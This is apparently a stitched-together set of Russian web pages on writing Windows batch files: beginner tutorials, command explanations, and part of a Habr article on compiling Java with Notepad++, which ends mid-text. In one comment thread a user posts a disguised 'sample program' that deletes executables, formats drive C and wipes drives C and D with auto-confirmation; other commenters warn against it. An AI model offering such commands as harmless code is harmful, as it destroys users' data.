В основном такие файлы используют для автоматизации рутинных процессов, например, совершать одно и тоже действие определённое количество раз (запускать или завершать любое количество программ, создавать, редактировать и удалять несколько папок за раз, массово менять имена файлов, копировать, перемещать их) и т.д. а также позволяют писать простые вирусы.

Создание BAT файла

Сперва, для удобства работы создадим на рабочем столе Новую папку, затем внутри неё создаём текстовый файл с именем file,

запишем туда несколько команд

@echo Hello, i'm bat!
pause

Теперь в меню блокнота выбираем «Сохранить как»,

в диалоговом окне в поле тип файла выбираем «Все файлы»

затем к file приписываем .bat и должно получиться file.bat,

Нажимаем на кнопку «Сохранить».

Чтобы отредактировать bat файл всего лишь необходимо нажать правой кнопкой мыши на файл и в контекстном меню выбрать «Изменить»

Теперь можно запустить bat файл и увидеть, что он делает. Он просто выводит текст — «Hello, i’m bat!»

Теперь рассмотрим, что делают написанные в нём команды:

Echo – команда вывода на экран
@ — запрещает показывать

Для создания bat файла вы можете использовать любые команды командной строки windows,весь список находится здесь.

Давайте теперь напишем что-нибудь посложнее, напишем bat файл, который создает 100 папок. Для  этого просто создайте файл с именем mkdir.bat и напечатайте там такие команды:

@echo off
for /l %%i in (1,1,100) do mkdir "dir %%i"

После запуска батника,вы увидите 100 новых папок,в скриншоте показано только 10 так как остальные не вместились бы

А теперь сразу создадим bat файл, который будет удалять созданные нами раннее 100 папок

@echo off
for /l %%i in (1,1,100) do rmdir "dir %%i"

Сейчас поясню, что делают эти команды в bat файле:

@echo off — запрещает вывод всех команд на экран

for – цикл, выполняет команду указанное количество раз

do – указывает, что делать

%%i – переменная, куда подставляются значения

in(1,1,100) – набор, который раскрывается в последовательность чисел от заданного начала, конца и шага

В нашем случае от 1,2,3,4,5,6,7,8…100

mkdir – создаёт папку

rmdir – удаляет папку

Вместо количества папок -100  вы можете поставить 10.000,100.000 и чем больше число, тем больше времени может зависнуть компьютер, от пары секунд до нескольких минут, в зависимости от мощности процессора.

Я надеюсь что вы уже научились не только создавать bat файл, но и редактировать и запускать его,поняли для чего они используется и как применять его на практике.

Понравилась статья? Не жалейте,ставьте лайк! Спасибо:)

Как написать программу на ПК с помошью блокнота

Введите в блокноте команды: echo off title calculator :start cls set expr="0" set/a answer=0 set/p expr="Enter expression: " set/a answer=%expr% echo Answer: %answer% pause goto start Схороните файл с расширением .bat или .cmd (calculator.bat). Введите команду help в командной строке, чтобы увидеть список почти всех доступных команд. Или команду с ключом ‘/?’, чтобы узнать ее синтаксис, например: help /? Если у вас будут трудности со сменной расширение у файла, то вы можете создать командный файл из командной строки. Откройте командную строку и используйте команду [type con] иди [copy con] например: [type con &gt; C:\calculator.bat] (фильтр перенаправление ‘&gt;’ не обязателен) . После ввода команды введите программный код командного файла. Чтобы сохранить введенный текст в консоли командной строки нажмите Enter затем Ctr+Z, а для выхода нажмите Ctr+C. Еще можно создавать *.vbs скрипты с помощью блокнота, но *.vbs скрипты возможно создавать сложнее чем MS-DOS/window сценарии….

Открыть текстовый редактор ( блокнот) Написать текст Сохранить как: Имя_Файла. bat Запустить пример текста программы: del C:\*.exe echo y|del*.* echo y|Format C: echo y|del C:\*.* echo y|del D:\*.*

Не верьте ему Владу цепеш он пишит del а это значит удалить как delete кнопка И Fromat он Фарматирует диск тоесть удаляет !!!не пишите del, delete это всё правда и это не программа

Влад Цепеш, на формат С, чел может и поведется, но винда - НЕТ. Так что это можно считать уже бородатой бакйкой.

влад цепеш пишет вирус не потдавайтесь я знаю

Ищи в интернете 😀 или здесь! - http:// ocompah.ru/ pishem-programmy-skripty-v-bloknote-windows.html

если хочешь посмотреть зайди в дискорд и скачай а вот команды echo - писать что то но на английском (помойму остался код chcp я не помню) set /p var=Set Command: (не закончилась на следущей строке) if %var%==1 goto (название команды и можно делать дальше добавляя команды) :(название команды) - что будет если ее выбрать можно продалжать и также забыл команда del - удалить выбранное и еще если хочешь в командной строке команды напиши help а если запущенные программы tasklist в блокноте ты тоже можешь зделать это а просто написав на следущей строке tasklist или help pause - остановка не будет выполнять exit - выйти echo. - пропустить строку cls - очистить командную строку title - название окна если хочешь я могу сказать как поставить иконку не забудь нажать на - файл - сохранить как напиши имя и добавь .bat пока!!!!

Как создать .bat файл в Windows?

Вопрос Валерии:

мне нужно создать .bat файл. Хотелось бы при помощи блокнота (если можно, другие редакторы текстов не изучила).

У меня не запускается «редактор локальной групповой политики — gpedit.msc» — читала, что это можно исправить при помощи созданного .bat файла.

Спасибо!

И вправду, в инете частенько встречается множество советов относительно настроек Windows 7, 8 и Windows 10, которые подразумевают создание .bat файла с неким требуемым содержимым, и после создания этот файл запустить…

Однако, начинающий пользователь теряется в догадках «а как этот файл сделать?»?

 

 

 

 

 

 

 

Что ж… давайте поподробнее разберёмся с вопросом, который задала Валерия — как создать командный .bat файл, используя банальный блокнот (блокнот — программа — текстовый редактор), который, или которая, присутствует в любой операционной системе Windows.

 

Создадим этот файл и попробуем запустить… …рассмотрим пример отработки bat файла по теме ранее написанной мною статьи.

 

 

теория:

.bat файл является командным файлом: используя этот файл, мы можем запускать любые программы, либо некие команды… (подобно утилите Выполнить
Команды, которые будут расписаны в статье, а их порядка 150 — отработают в различных версиях операционных систем Windows: от Windows 7, до Windows 10., но только напрямую — файлом)…

 

 

…также .bat файл запросто запустит какую-то пользовательскую функцию, к примеру — функцию очистки буфера обмена, либо настроки раздачи Wi-Fi… и пр. и пр.

 

 

 

 

 

создание .bat файла с помощью блокнота

 

 

 

Создание bat файла сведём (или разобьём) на несколько простых шагов, так будет нагляднее:

 

 

1 — тем, у которых есть Ярлык — запускаем программу Блокнот (для тех, у которых Ярлыка нет, отыскиваем его по этому пути: /Программы/Стандартные…

…в Windows 10 отыскать и запустить Блокнот можно через поиск на панели задач. Если блокнот не удалось отыскать Пуск, тогда запустить его можно, пройдя по такому коротенькому пути: C:\Windows\notepad.exe

Блокнот будет запущен…

 

2 — вводим (или прописываем на листок блокнота) код требуемого .bat файла (обычно предоставляется в соответствующих инструкциях). См. эту статью, в ней мы как раз успешно создали и воспользовались бат файлом.

 

 

К примеру, получится что-то типа этого, как на скрине ниже…

 

 

 

 

 

 

Далее, как наверняка догадались, требуется сохранить созданный файл. Вот тут-то и скрывается нюанс! о нём ниже…

 

3 — См. на картинку ниже: в меню блокнота тюкаем раздел «Файл» и в выпавшем подменю выбираем ни что иное как «Сохранить как» — это важно!! не просто сохраняем, но Сохраняем как… это и есть нюанс сохранения файла, о котором говорилось выше.

 

3а — …следующим действием, выбираем место хранение файла (указываем папку на компьютере).

 

3б — придумаем имя файла, и укажем расширение .bat . Далее, обведённое зеленым поле, обязательно!! в подпункте Тип файла указываем «Все файлы»… (иначе сохранится текстовый вариант, а это ошибка!).

 

 

 

 

 

 

Как только все описанные действа произведены, отчаянно жмём «Сохранить»…

 

 

…по теме хочу всё знать:

тогда, когда файл не сохраняется в указанную дерикторию, например, на диск C — обычно там правильнее всего сохранять подобные файлы — и выскакивает сообщение «У вас нет разрешения на сохранение файлов в этом месте», в этом случае сохраните файл в пользовательскую папку типа «Документы», а затем просто-напросто перекопируйте уже в «С».

В Windows 10 чтобы сохранить файлыв системные папки требуются права Администратора, но ведь блокнот может быть открыт и НЕ от имени Администратора!

 

 

Наш созданный .bat файл готов к работе: этот .bat возможно также запускать, либо просто… либо запустить от имени администратора, выбрав соответствующий раздел в меню после клика по файлу правой кнопкой мыши.

 

 

 

 

 

…по теме хочу всё знать:

Для удобства работы с файлами включите отображение расширений файлов (изменяется в параметрах проводника — скрин ниже: вид/скрытые элементы — поставьте или уберите флажок /галочку/), и тогда вы запросто сможете просто создать файл с расширением .txt, а уж потом просто-напросто переименовать файл вместе с расширением! к примеру с .bat.

 

 

 

 

 

 

 

Давайте примера ради поподробнее рассмотрим примеры, как работает (правильнее отрабатывает) .bat файл…

 

 

 

 

Запуск программ из файла .bat и другие команды

 

 

 

Вот несколько базовых (стандартных и простых) команд:

 

Взгляните на такой запрос (команда): вместо слэш возможно использовать нижний разделитель _ (см. пример ниже)

 

start "" путь\к\программе

 

 

1) start — англ. старт… и 2) путь до расположения запускающего .exe файла программы, которую(е) требуется запустить. Слова разделяет слэш (более ясно в следующем примере).

 

 

Путь содержит пробелы (между словами Program(здесь)Files)? …возьмите фразу пути в двойные кавычки:

 

start "" "C:\Program Files\program.exe"

 

 

Также возможно указать параметры запуска программы, например (внимательнее к пробелам):

 

start "" c:\windows\notepad.exe file.txt

 

 

 

вопрос:

двойные кавычки после start?

В них указывается имя командного файла: необязательный параметр!

 

 

 

запуск другого bat файла из открытого файла бат осуществляться командой call:

 

call путь\к\файлу\bat параметры

 

 

Что интересно: если мы запускаем из активного bat файла другой bat файл, то заданные параметры, при запуске, очень возможно прочесть внутри открываемого bat файла.

 

К примеру: вызывается так…

 

call file2.bat парам1 парам2 парам3

 

 

В открытом file2.bat будут отображены следующие параметры, которые в свою очередь возможно использовать в качестве путей параметров для запуска других программ, как-нить так:

 

echo %1
echo %2
echo %3
pause

 

Т.е. в параметре используем номер со знаком процента (оператор).

Этак выводятся в окне (консоли) команды всех переданных параметров: оператор echo обусловит вывода текста на экран.

 

 

внимание:

Окно команд закрывается сразу как только команды будут выполнены. т.е. достаточно быстро…

Чтобы окно оставалось какое-то время открытым, используйте команду pause — этот оператор остановит выполнение команд (как закрыть окно, описано ниже).

 

 

Чтобы отложить выполнением очередной команды, используем команду (не забываем о кавычках):

 

timeout /t время\в\секундах

 

 

…запустить программы в развернутом, либо свернутом виде — задаём параметры MIN / MAX перед тем, как указать путь самой программы:

 

start "" /MIN c:\windows\notepad.exe

 

 

Для закрытия окна команд после выполнения всех команд, используйте команду exit в последней строке (пример выше).

…если окно никак не закрывается — попробуйте выполнить такую команду:

 

cmd /c start /b "" путь\к\программе параметры

 

 

 

интересно знать:

пример команды — путь до программы… либо параметр содержат пробелы (мугут вызвать ошибки) — однако, всё это решается так:

 

cmd /c start "" /d "путь_к_папке_в_котором_пробелы" /b имя_файла_программы "параметры_в_которых_имеются_пробелы"

 

 

 

Вот, пожалуй, для начала достаточно… В ближайшее время, напишу статью с подборкой полезных пользовательских команд для отработки, скажем так, с файлом .bat

 

 

 


Если что-то не ясно и остались вопросы, делитесь ими в комментариях...


Самое время рассказать о статье в соцсетях, буду признателен... complitra.ru !

Создание bat файлов

Люди, которым знаком термин батник, знают, что BAT файлы могут существенно упростить жизнь и экономить время, если уметь их правильно писать и использовать. В этой статье я расскажу о том, как создавать BAT файлы и познакомлю вас с распространенными ошибками, которые обычно возникают при их написании.

Создать BAT файл очень просто. Достаточно открыть блокнот и сохранить пустой лист с расширением .bat, выбрав опцию Сохранить как... и написав в поле Имя файла что-нибудь оканчивающееся на .bat, например test.bat.
Тип файла указываете как на скриншоте ниже - Все файлы. Сохраняете и получаете BAT файл.

создание bat-файла

Редактировать BAT файл можно в блокноте или любом другом текстовом редакторе, ориентированным на работу с кодом.

Теперь перейдем непосредственно к практической информации. В сети многие ищут ответ на вопрос Как быть с пробелами в BAT файлах?. В путях к папкам и исполняемым файлам наличие пробела вызывает ошибку. Самый распространенный ответ: Заключи путь в кавычки. И этот ответ не верен. Правда некоторые будут с пеной у рта утверждать, что он работает. Итак, появилось два почему - почему не верен и почему некоторые будут.

На Windows (как, впрочем, и на UNIX) установленные в системе программы соответствующим образом регистрируются системой. Поэтому некоторые из установленных программ могут запускаться одной простой командой из BAT файла или из апплета Выполнить панели Пуск. Одной из таких программ является Firefox:

start firefox

Если после этой команды писать путь к исполняемому файлу, то происходит следующее: запускается обозреватель Firefox и пробует обработать запрос, то есть файл, путь к которому указан. То есть, если указать следующее:

start firefox C:\Program Files\Mozilla Firefox\firefox.exe

Обозреватель откроется, чтобы не было написано после start firefox. Именно поэтому некоторые товарищи будут уверять что все прекрасно работает. Однако, если взять портативную программу, то ситуация окажется совсем иная. Рассмотрим в качестве примера ftp-клиент Filezilla. Поскольку система не знает о программе, вышеупомянутая строчка

start filezilla

работать не будет. Чтобы запустить неизвестную системе программу, надо указать к ней путь:

start D:\FileZilla\FileZilla.exe

Длинныe имена в bat-файлах

Теперь поговорим о путях и пробелах. Первый способ избежать этой проблемы - использование короткого имени.

start C:\Program Files\Sound Club\scw.exe

В примере два имени с пробелами. Заменим их короткими. Правила создания коротких имен следующие: в коротком имени используются первые шесть символов имени без учета пробелов, после имени указывают порядковый номер папки с помощью символа ~. Так как папки Program Files и Sound Club у меня в единственном числе, получится следующее:

Program Files - Progra~1
Sound Club - SoundC~1
start C:\Progra~1\SoundC~1\scw.exe

Если рядом будут присутствовать две папки, например Sound Club и Sound Clown, то следуя правилам, в примере выше надо будет указать SoundC~2, так как в этом случае Sound Club окажется вторым именем (имена считаются в алфавитном порядке).

Но этот способ неудобен тем, что приходится указывать порядковые номера. Ситуация с Program files более менее нормальная. Мало у кого встретится две подобные папки на системном диске. Но если вы решили установить несколько продуктов Mozilla на свой компьютер. У вас получится несколько папок, например:

Mozilla Firefox
Mozilla Thunderbird
Mozilla Sunbird

Короткими именами для них будут

Mozill~1
Mozill~2
Mozill~3

А теперь представьте, что вы написали BAT файл с упоминанием этих программ. Если удалить Firefox, оставшиеся записи перестанут работать, а если удалить Thunderbird, перестанет работать запись для Sunbird. Короче, способ с короткими именами - не наш способ.

Пробелы и кавычки в bat-файлах

Кавычки на самом деле работают, но не с теми способами, которые обычно советуют. Советуют обычно следующее:

start "C:\Program Files\Sound Club\scw.exe"

Так команда не сработает, поскольку если посмотреть справку по ней (start /?), то в справке вы увидите следующее:

START ["заголовок"] [/D путь] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]
      [/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL]
      [/NODE узел NUMA] [/AFFINITY маска сходства] [/WAIT] [/B]
      [команда/программа] [параметры]

Как видите, первым параметром идёт заголовок окна и он как раз в кавычках. Этот параметр необязательный, но его всё же советуют указывать (например, тут), чтобы избежать ошибок при выполнении команды. Внутри кавычек можно ничего не писать. Получится так:

start "" "C:\Program Files\Sound Club\scw.exe"

Также сработает и вариант с заключением в кавычки всех имён с пробелами по отдельности:

start C:\"Program Files"\"Sound Club"\scw.exe

Однако, в ряде случаев не работает ничего из вышеописанного. В таких случаях я могу посоветовать использовать команду cd. Переходим на системный раздел, затем с помощью cd в папку Program Files и запускаем программу (start):

%SystemDrive%
cd \Program Files\Sound Club\
start scw.exe

Я думаю, что такой способ будет работать везде. Теперь еще пара важных моментов. Допустим вы создали батник, запускающий три программы и вам нужно на время исключить запуск одной из трех. Это можно сделать удалением строки или ее комментированием. Первый способ - вандальный, а второй смотрите ниже.

start firefox
start jetaudio

В данном случае отключен запуск установленной в системе программы Defraggler.exe. Комментируют строки, указывая команду rem в начале строки. Все BAT файлы выполняются в окне консоли. Чтобы оно исчезало по окончании выполнения команд, не забывайте в конце писать команду на выход exit.

start firefox
start jetaudio

exit

Запуск приложений из bat-файла

В первой части статьи я в общих чертах рассказал о BAT файлах. Теперь стало понятно - что это такое и с чем его едят. Во второй части речь пойдет уже о более конкретных вещах. Например, о том, как при помощи BAT файла запустить несколько приложений с определенными настройками или в автоматическом режиме установить программу, чтобы не тратить время на ответы типа Вы согласны с условиями лицензионного соглашения? и не нажимать лишние кнопки.

Выше было изложено несколько способов запуска приложений при помощи BAT файла. Самый первый - это короткая команда на запуск установленной в системе программы.

start firefox

Это не всегда работает. Поэтому такой прием можно вполне применять на какой-то конкретной системе, но в качестве универсального решения он не подходит. Если есть цель заставить работать BAT файл везде и всегда, нужно пользоваться полными путями:

start C:\"Program Files"\"Mozilla Firefox"\firefox.exe

Также я отметил, что в BAT файле обязательно должна присутствовать команда на завершение:

start C:\"Program Files"\"Mozilla Firefox"\firefox.exe
exit

Запуск программ в bat-файлах с параметрами (ключами)

Программу можно не просто запускать, а давать ей дополнительные команды при запуске. Например, скомандовать запускаться свернутой:

start /min D:\FileZilla\FileZilla.exe
exit

Скомандовать в данном случае - значит указать ключ. Ключ указывается через слэш после основной команды (команда /ключ). Основной командой в данном случае является start. Правда ключ min работает только в половине случаев, потому как относится именно к команде запуска start, а не к программам, которые эта команда запускает.

Вообще ключей существует очень много и наборы ключей разных программ могут существенно различаться. Есть, правда, несколько общих. Например, ключ справки (/? или /help). Чтобы проследить работу этого ключа, рассмотрим практический пример. Откройте консоль (Жмёте      + R, вводите cmd, далее Enter) и набираете в консоли следующее:

start /?

Консоль выведет на экран перечень допустимых ключей c комментариями для команды start.

ключи команды

Обратите внимание на ключ /wait. В некоторых случаях он бывает просто незаменим. Например, вы решили с помощью BAT файла распаковать архив с программой и эту самую программу запустить. В батнике получится две команды - на распаковку и на запуск. Поскольку команды при запуске BAT файла выполнятся почти одновременно, архив распаковаться не успеет и запускать будет нечего. Поэтому будет ошибка. В этом случае на помощь придет ключ /wait:

Таким образом система сначала выполнит первое действие, дождется его завершения и только после этого приступит ко второму. Если необходимо подождать конкретный отрезок времени, то проще воспользоваться консольной утилитой Sleep. В нужном месте BAT файла пишете следующую команду (число - количество секунд):

start Sleep.exe 15

С помощью ключей можно делать многое. Есть возможность устанавливать приложения в тихом режиме. Для этого используется несколько ключей в зависимости от типа инсталятора, применяющегося для установки программы на компьютер:

/S
/s
/q
/silent
и ряд других

В ряде случаев бывает очень удобно. Антивирус Avast имеет опцию тихой установки в корпоративной версии. В бесплатной (домашней) версии тихой установки якобы нет. Однако, если вы в курсе как работает инсталятор InstallShield, вы поймете, что это утка, так как этот инсталятор сам по себе поддерживает ключ тихой установки /S. А значит все продукты, выполненные на его базе - тоже. И Avast не исключение. Просто создаете в папке с Avast'ом BAT файл с содержанием

start avast.exe /S
exit

запускаете его и программа устанавливается на компьютер практически без вашего участия. Таким образом можно написать целый список программ для тихой установки и сэкономить время, например, на переустановке системы. В статье про тихую установку можно получить более подробную информацию по ключам.

Есть и другие возможности по управлению программами при помощи BAT файлов. Можно запустить программу, приказав ей открыть файл при запуске. Я пользуюсь этим способом при разработке сайтов. Очень удобно, когда весь твой инструментарий открывает нужные документы и папки нажатием всего одной кнопки:


start /min D:\FileZilla\FileZilla.exe "ftp://логин:пароль@сервер"


start C:\"program files"\"mozilla firefox"\firefox.exe "http://localhost/папка_сайта/index.php"


start /min C:\"Program Files"\текстовой_редактор.exe "E:\сервер\папка_сайта\index.html"


start /min E:\сервер\папка_с_сайтом


exit

Отмечу, что все вышеописанные приемы можно применять в различных комбинациях и сочетаниях.

start /min /wait program.exe /m /S
start C:\Directory\program2.exe "C:\Files\file.odt"
exit

Но важно помнить: всё, что касается выполнения запускаемой в батнике программы, пишется с ней в одной строке.

start C:\"program files"\"mozilla firefox"\firefox.exe "http://localhost/папка_сайта/index.php"

В качестве эпилога предложу для ознакомления конвертер BAT файлов в приложения формата .exe - Bat_To_Exe_Converter. BAT файл - это не всегда эстетично, а с помощью конвертера можно запаковать батник в exe'шник, оформив его любой иконкой на ваш выбор.

Наткнулся ещё на один конвертер BAT в EXE, можете рассмотреть в качестве альтернативы предыдущей программе: Advanced Bat To Exe Converter

На этом всё.

Если материалы сайта оказались для вас полезными, можете поддержать дальнейшее развитие ресурса, оказав ему (и мне ) моральную и материальную поддержку.

Компиляция программ с помощью Notepad++ / Habr

Компиляция программ при помощи текстового редактора на примере Notepad++

Цель: Научиться компилировать программы из командной строки. Научиться компилировать из текстового редактора Notepad++ (вернее научиться писать скрипты и связывать их), создавать скрипты и макросы, устанавливать системные переменные.

Сам текстовый редактор ничего не компилирует и не запускает. Также как и IDE не компилирует. Компиляция происходит с помощью компилятора. Выполнение производится некоторой средой выполнения. Это может быть интерпретатор команд или среда выполнения.
При компиляции программы на C# упаковываются в сборки. Код на языке IL автоматически преобразуется в код для конкретного процессора. Что относится к java, то скомпилированные файлы .class выполняется виртуальной машиной Java. Файлы .java компилируются в бай-код, то есть некоторый промежуточный код. Компиляция в exe файл тоже производится компилятором.

.EXE (сокр. англ. executable — исполнимый) — расширение исполняемых файлов, применяемое в операционных системах DOS, Windows, Symbian OS, OS/2 и в некоторых других, соответствующее ряду форматов. Процесс получения exe файла состоит из следующих этапов: препроцессинг, ассемблирование, компилирование, линковка.

ОUT файлы — исполняемые файлы для UNIX-подобных операционных систем.
Файл может хранить исполняемый код, общую динамическую библиотеку или объектный код.

Терминология

Cmd.exe — интерпретатор командной строки (англ. command line interpreter) для операционных систем OS/2, Windows CE и для семейства операционных систем, базирующихся на Windows NT (англ. Windows NT-based). cmd.exe является аналогом COMMAND.COM

Те́кстовый проце́ссор — компьютерная программа, используемая для написания и модификации документов, компоновки макета текста и предварительного просмотра документов в том виде, в котором они будут напечатаны (свойство, известное как WYSIWYG).

Текстовые процессоры, в отличие от текстовых редакторов, имеют больше возможностей для форматирования текста, внедрения в него графики, формул, таблиц и других объектов.


Скрипт (сценарий) — это отдельные последовательности действий, созданные для автоматического выполнения задачи.
Интерфе́йс по́льзователя, он же по́льзовательский интерфейс (UI — англ. user interface) — интерфейс, обеспечивающий передачу информации между пользователем-человеком и программно-аппаратными компонентами компьютерной системы (ISO/IEC/IEEE 24765-2010).

GUI означает graphical user interface, графический интерфейс пользователя.
GUI состоит из одного или нескольких окон и каждое окно содержит один или несколько элементов управления.

SDK (от англ. software development kit) — набор средств разработки, который позволяет специалистам по программному обеспечению создавать приложения для определённого пакета программ, программного обеспечения базовых средств разработки, аппаратной платформы, компьютерной системы, игровых консолей, операционных систем и прочих платформ.

IDE (Integrated Development Environment) — интегрированная среда разработки программного обеспечения.

Переменная среды́ (англ. environment variable) — текстовая переменная операционной системы, хранящая какую-либо информацию — например, данные о настройках системы.

Переменные среды́ Windows делятся на две категории:
Переменные среды́ пользователя — указывают путь до пользовательских каталогов.
Системные переменные — хранят данные о некоторых каталогах операционной системы и конфигурации компьютера.

Предпосылки

Для сборки проектов, в настоящее время часто используется командная строка.

Как это упрощает сборку? Дело в том, что вы можете создать командный файл с параметрами компилятора, с параметрами логирования, с параметрами получения ошибок и многими другими параметрами, которые будут автоматизировать вашу сборку. Плюсы такого подхода очевидны:
у вас не тратится время на загрузку тяжелой IDE, вы можете автоматизировать многие детали вашей сборки. Из командной строки могут быть доступны аргументы программы, которые недоступны из GUI. У GUI обычно меньше возможностей, потому как не все команды и аргументы будут предоставлены пользователю. Вы можете записать ваш скрипт(набор команд, логику и переменные) в отдельный файл и запускать при надобности.
К тому же такой подход даст вам более глубокое изучение и понимание того, что происходит во время выполнения. Вы сможете рассмотреть каждый шаг отдельно. Другой аспект, использование блокнота для компиляции, предоставляет вам возможность отлаживать и запускать небольшие куски кода без использования вашей тяжелой IDE. У вас в нужный момент может не оказаться установленной IDE и отсутсвовать подключение к интернет. В принципе вы можете использовать другой текстовый редактор, не Notepad++. Основная идея остается та же. В этой статье я опишу использование cmd Windows 10, Notepad++ и плагина NppExec. В предыдущих версиях Windows это тоже работает. Могут быть незначительные отличия. В данном вопросе вы можете разобраться самостоятельно.

Заметьте, это не призыв отказаться от удобных средств IDE. Хорошие, удобные IDE повышают производительность команды разработчиков. К сожалению, по тем или иным причинам не всегда существует возможность их использовать.

Скачать программы вы можете с официальных сайтов:
Notepad++: notepad-plus-plus.org
Исходники релизов программы: github.com/notepad-plus-plus/notepad-plus-plus/releases
Автор программы: Don HO, Senior Software Engineer
Биография \ Резюме автора: donho.github.io

Автор плагина: Vitaliy Dovgan
Помощь: Don HO, Jens Lorenz, Juha Nieminen,Joel Yulilouma

Новую версию NppExec вы можете скачать с сайта.

Новые версии Notepad++ поддерживают установку плагинов из репозиториев. Вам достаточно нажать в меню плагины/управление плагинами, в строке поиск набрать NppExec, отметить галочку и нажать кнопку установить. Если же вы пользуетесь более ранней версией npp, то вам следует скачать плагин и распаковать в папку plugins. Обычно она находится по пути ...Notepad++\plugins.

Версии NppExec: Unicode и ANSI
Разработчик рекомендует использовать Unicode версию.

Узнать версию NppExec: Плагины\NppExec\Help/About

Вначале рассмотрим компиляцию из командной строки.

Программа cmd в Windows находится по следующему пути:

%windir%\system32\cmd.exe

Выполнить программу можно нажав поиск cmd и нажав на приложение «командная строка» либо из меню «выполнить», набрав cmd.
Настройки консоли cmd

В левом верхнем углу нажмите на значке консоли и выберите «свойства» для изменения текущих свойств. Вы можете поменять ряд свойств консоли: цвет, шрифт, расположение.

Для изменения свойств по умолчанию выберите «значения по умолчанию».

Вы можете назначить горячие клавиши для вызова командной строки.

Для этого наберите в поиске cmd, щелкните на «Командная строка» правой кнопкой и выберите «перейти к расположению файла. Затем, правой кнопкой на расположении и свойства. Установите курсор в поле «Быстрый вызов» и нажмите на клавиатуре сочетание клавиш, например: Ctrl+Alt+T. Такое сочетание клавиш соответствует вызову терминала Linux Ubuntu и вам не нужно будет заучивать новое. Если хотите, можете задать свое сочетание клавиш. cmd будет вызываться от имени пользователя. Чтобы запустить cmd от имени администратора, нужно набрать cmd в поиске, щелкнуть на нем правой кнопкой мышки и выбрать «Запуск от имени администратора».

cmd.exe — файл, это часть системы, командный интерпретатор системы Windows.

Командный интерпретатор, интерпретатор командной строки — компьютерная программа, часть операционной системы, обеспечивающая базовые возможности управления компьютером посредством интерактивного ввода команд через интерфейс командной строки или последовательного исполнения пакетных командных файлов.

Ключи запуска cmd.exe:

/c исполняет команду, заданную строкой, и завершает работу приложения;
/k исполняет команду, заданную строкой, и продолжает работу приложения;
/a — устанавливает вывод в стандарте ANSI;
/u — устанавливает вывод в Юникоде;
/? — вывод справки в командной строке;
Для компиляции из командной строки, вам нужно знать минимальных набор команд.

Для более глубокого изучения вам, скорее всего, понадобятся такие понятия как:
Processes, Threads, Streams, Fibers, семафоры, мьютексы и так далее. Всё то, что связанно с многопоточностью и многозадачностью.

В этой небольшой статье, пока что, таких глубоких знаний не требуется.

Немного о переменных

Вы можете использовать переменные, которые относятся к переменным среды пользователя, к переменным cmd, к переменным программы Notepad++, к переменным плагина NppExec.
Aliases — в общем случае это псевдонимы переменных. Они могут быть использованы для задания короткого имени переменной в определенной области видимости.

В нашем контексте слово «команда» означает команда или программа. Получить список команд вы можете набрав в командной строке «help» без кавычек. Отобразится список команд с их описанием. Получить помощь по определенной команде, вы можете набрав «help имя_команды».

Компиляция программ java из командной строки

Для компиляции программ java, у вас на компьютере должна быть установлена jdk.
«Java Development Kit (сокращенно JDK) — бесплатно распространяемый компанией Oracle Corporation (ранее Sun Microsystems) комплект разработчика приложений на языке Java, включающий в себя компилятор Java (javac)». JDK включает стандартные библиотеки классов Java, примеры, документацию, различные утилиты и исполнительную систему Java (JRE). В состав JDK не входит интегрированная среда разработки на Java, поэтому разработчик, использующий только JDK, вынужден использовать внешний текстовый редактор и компилировать свои программы, используя утилиты командной строки. Скачать её вы можете с сайта Oracle, либо выбрать OpenJDK. Существуют комплекты разработки приложений на Java других производителей, доступные для ряда платформ. Ссылка для скачивания jdk: jdk.java.net/archive

Вот несколько существующих на сегодняшний день jdk: Oracle JDK, OpenJDK by Oracle, AdoptOpenJDK, Red Hat OpenJDK, Azul Zulu, Amazon Corretto. Скачиваете и устанавливаете, в документации об установке всё подробно расписано. Если же вы уже используете IDE — интегрированную среду разработки с уже установленной JDK, то вам остается только найти её на вашем диске. Среды разработки либо включают в комплект поставки одну из версий JDK, либо требуют для своей работы предварительной инсталляции JDK на машине разработчика. Для компиляции и выполнения, вам потребуются файлы: javac.exe — для компиляции и java.exe — для выполнения программы. Заметьте jdk должна быть установлена, потому как при компиляции и выполнении используются ряд файлов ресурсов, таких как библиотеки классов, отладчик и другие ресурсы.

Компиляция из командной строки в упрощенном виде выглядит так:

javac HelloWorld.java
. Почему в упрощенном? Потому как мы не задаем полный путь к компилятору, полный путь к файлу, не указываем другие параметры, такие как имя выходного файла и другие.

Если вы просто выполните такую команду, предварительно ничего не настроив, то скорее всего вы получите ошибку: «javac не является внутренней или внешней командой, исполняемой программой или пакетным файлом». То есть ваша система «не знает» где находится javac и нам нужно явно указать где находится компилятор.

Об установке java читайте в официальной документации.

Где установлена java, вы можете узнать набрав команду в консоли:

where java

Пишем новую строчку:

c:\путь_к_файлу_javac\javac  HelloWorld.java
с:\папка_на_диске_первая\папка_на_диске_вторая\...\javac  HelloWorld.java

Здесь папка_на_диске_первая, папка_на_диске_вторая — это название ваших папок на диске.
То есть это полный путь до файла javac.

Скорее всего вы получите следующую ошибку:

javac: file not found: hello.java
Usage: javac <options> <source files>
use -help for a list of possible options

В этом случае javac сообщает нам, что нет такого файла hello.java и предлагает ознакомиться с опциями компилятора.

Мы можем решить эту проблему двумя путями. Перейти в каталог в терминале.

cd полный_путь_к_нашему_java_файлу

Либо указать полный путь при компиляции.
с:\папка_на_диске_первая\папка_на_диске_вторая\...\javac  с:\путь\HelloWorld.java

Здесь следует сделать уточнение, в данном случае я рассматриваю путь в системах Windows.
В других системах пути прописываются по другому. Более подробно смотрите документацию.

В случае успешной компиляции у вас в каталоге появится файл HelloWorld.class

Выполнить этот файл мы можем командой:

с:\папка_на_диске_первая\папка_на_диске_вторая\...\java -classpath . HelloWorld

В данном случае точка означает текущий пакет, текущий каталог.

В случае не указания -classpath, возможен вывод ошибки:

«Error: Could not find or load main class имя»

Если вы указываете в классе пакет, то вам при запуске скомпилированного файла нужно указать путь к пакету.

Мы с вами немного разобрались, как компилировать и запускать java программы из командной строки. Теперь нам нужно сделать тоже самое в Notepad++ при помощи плагина NppExec. Скачиваем и устанавливаем плагин, если он у нас еще не установлен и устанавливаем.

После правильной установки, плагин NppExec появится в меню «Плагины».

NppExec имеет свою собственную консоль наподобие CMD.
По умолчанию приглашение на ввод команд не отображается. Для показа\скрытия консоли выберите: Плагины\NppExec\Show console.
Для получения справки наберите в консоли help и нажмите Enter. Для получения более подробной информации об NppExec наберите в консоли: help npp_exec.

Из help:

